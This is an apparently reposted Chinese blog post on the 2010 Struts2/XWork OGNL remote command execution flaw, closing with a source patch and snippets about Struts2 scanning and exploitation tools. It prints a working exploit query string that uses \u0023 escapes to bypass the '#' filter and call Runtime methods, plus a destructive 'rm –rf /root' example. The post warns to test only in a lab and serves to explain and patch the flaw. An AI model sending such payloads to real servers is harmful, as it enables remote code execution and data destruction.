最近发现 struts 2的这个严重安全漏洞,在http://www.iteye.com/topic/720209中已经有所表述,主要是OGNL的问题,摘录如下:
exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。
漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相关介绍:
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:
Java代码
?user.address.city=Bishkek&user['favoriteDrink']=kumys
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
Java代码
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
Java代码
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
转义后是这样:
Java代码
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是Java代码
java.lang.Runtime.getRuntime().exit(1);
java.lang.Runtime.getRuntime().exit(1);
类似的可以执行Java代码
java.lang.Runtime.getRuntime().exec("rm –rf /root")
java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有权限就可以删除任何一个目录。
目前的解决方法如下,官方的出了补丁的,可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前2.1.8的最新版本的,可以下载其中这个补丁修补,
而如果你的版本是低于2.1.8的,可以去下载xwork-2.XX.JAR对应的源代码(本来想反编译JAR的,发现还是找源代码好),
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中调整如下:
protected boolean acceptableName(String name) {
boolean foundMatch=false;
foundMatch = name.contains("\\u0023");
if(foundMatch){
return false;
}
if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
|| name.indexOf(':') != -1 || isExcluded(name)) {
return false;
} else {
return true;
}
}
分享到:
相关推荐
Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试Struts2漏洞测试...
"Struts2漏洞检查工具Struts2.2019.V2.3"是一个专门针对这些漏洞进行检测的工具,旨在帮助开发者和网络安全专业人员识别并修复Struts2框架中的安全问题。 Struts2的安全漏洞主要包括以下几类: 1. OGNL(Object-...
"Struts2漏洞检查工具2018版.zip"这个压缩包很可能包含了专门用于检测Struts2框架是否存在这些安全漏洞的工具。`Struts2漏洞检查工具2018版.exe`可能是一个可执行程序,用户可以运行它来扫描自己的系统,查找任何...
这个"Struts终极漏洞利用工具"显然旨在帮助安全研究人员和管理员检测和测试Struts2应用是否存在这些已知漏洞。 首先,我们要理解Struts2漏洞的核心在于其ActionServlet组件处理用户输入的方式。例如,一个著名的...
最近,Struts2 发生了两个严重的漏洞,分别是 S2-016 和 S2-017,这两个漏洞可能会导致攻击者执行恶意代码,从而危害到网站的安全。 S2-016 漏洞是由于 Struts2 的 Ognl 表达式语言解析器存在缺陷,从而导致攻击者...
然而,Struts2在历史上存在一系列的安全漏洞,这些漏洞可能导致远程代码执行(RCE)、信息泄露和其他严重的安全问题。本篇文章将深入探讨Struts2的安全漏洞以及如何进行修复。 一、Struts2安全漏洞概述 1. CVE-...
这个标题提到的是一个全面的Struts 2漏洞检测工具,旨在帮助开发者和安全专家识别并修复Struts 2框架中的各种安全漏洞。 Struts 2的安全问题主要源于其OGNL(Object-Graph Navigation Language)表达式语言的使用,...
在2016年5月16日,一个名为“K8 Struts2 Exp 20160516”的综合漏洞利用工具被发布,这标志着Struts2框架中存在严重的安全风险。 **Struts2漏洞类型** 1. **CVE-2016-1000031**:这是Struts2中最著名的一个漏洞,被...
然而,它在历史上曾出现过多个安全漏洞,其中最著名的就是“Struts2漏洞”。这个标题和描述提到的"struts2-scan"是一种工具,专门用来检测Struts2框架中的安全漏洞。 Struts2漏洞通常涉及到框架的核心组件,例如...
Struts2 安全漏洞解析,距离上个版本发布仅仅过去1周,apache struts官网又发布struts2最新版本安全公告,主要修复了一个漏洞,代号S2-022:从漏洞简要描述来看,确定是对之前S2-021的补充。
Struts2低版本安全漏洞及解决办法 Struts2低版本安全漏洞及解决办法
Struts2是一个基于MVC设计模式的Web应用框架,但2存在远程代码执行的漏洞,现在Struts2漏洞检测工具2017版增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过...
Struts2安全漏洞扫描工具 - 基于Python开发,包含21个文件,如WAR、GITIGNORE、...该项目为用户提供了一个Struts2安全漏洞扫描工具,通过界面交互和功能模块,为用户提供了一个高效、易用的安全漏洞检测解决方案。
本"Struts2漏洞检查工具2017版"正是针对这些问题而设计的,它包含了对多个已知安全漏洞的检测功能,特别是045、046、048这三个著名的漏洞。 首先,让我们详细了解一下这三个漏洞: 1. **CVE-2017-9791(S2-045)**...
该工具的打开路径为:\Struts2VulsTools-2.3.20190927\Test\bin\Release\Text.exe 2019-09-25: 优化部分EXP在部分情况下被WAF拦截的问题,提高检测成功率,优化自定义上传路径exp,文件所在目录不存在时自动创建...
然而,在开发和学习 Struts2 时,开发者需要注意一些安全缺陷,以避免安全漏洞。 Struts2 框架概述 Struts2 是一个基于 MVC 模式的框架,它将应用程序分为三个主要部分:Controller 层、View 层和 Model 层。...
Struts2漏洞检查工具正是为了解决这个问题而设计的,它可以帮助用户快速识别和修复可能存在的安全问题。这款工具通常包含一系列自动化扫描功能,能够深入分析应用的源代码和运行时环境,查找与已知Struts2漏洞相关的...
总的来说,Struts2漏洞检查工具2018版是一个重要的安全资源,它可以帮助维护Struts2应用的安全性,防止可能的恶意攻击。在使用该工具时,应当遵循合法的使用规则,仅用于授权环境下的安全测试,避免触犯法律法规。
"Struts2漏洞利用工具2019版 V2.3.zip" 是一个针对这些安全漏洞的检测和利用工具,用于帮助安全研究人员和系统管理员识别和修复Struts2框架的安全问题。 首先,Struts2框架的最著名的漏洞之一是S2-045,这是一个...
然而,Struts2在过去的几年里遭遇了一系列的安全漏洞,这些漏洞可能使攻击者能够远程执行代码,从而对系统造成严重威胁。 标题提及的“Struts2漏洞利用工具”是一种用于检测Struts2框架是否存在已知安全漏洞的工具...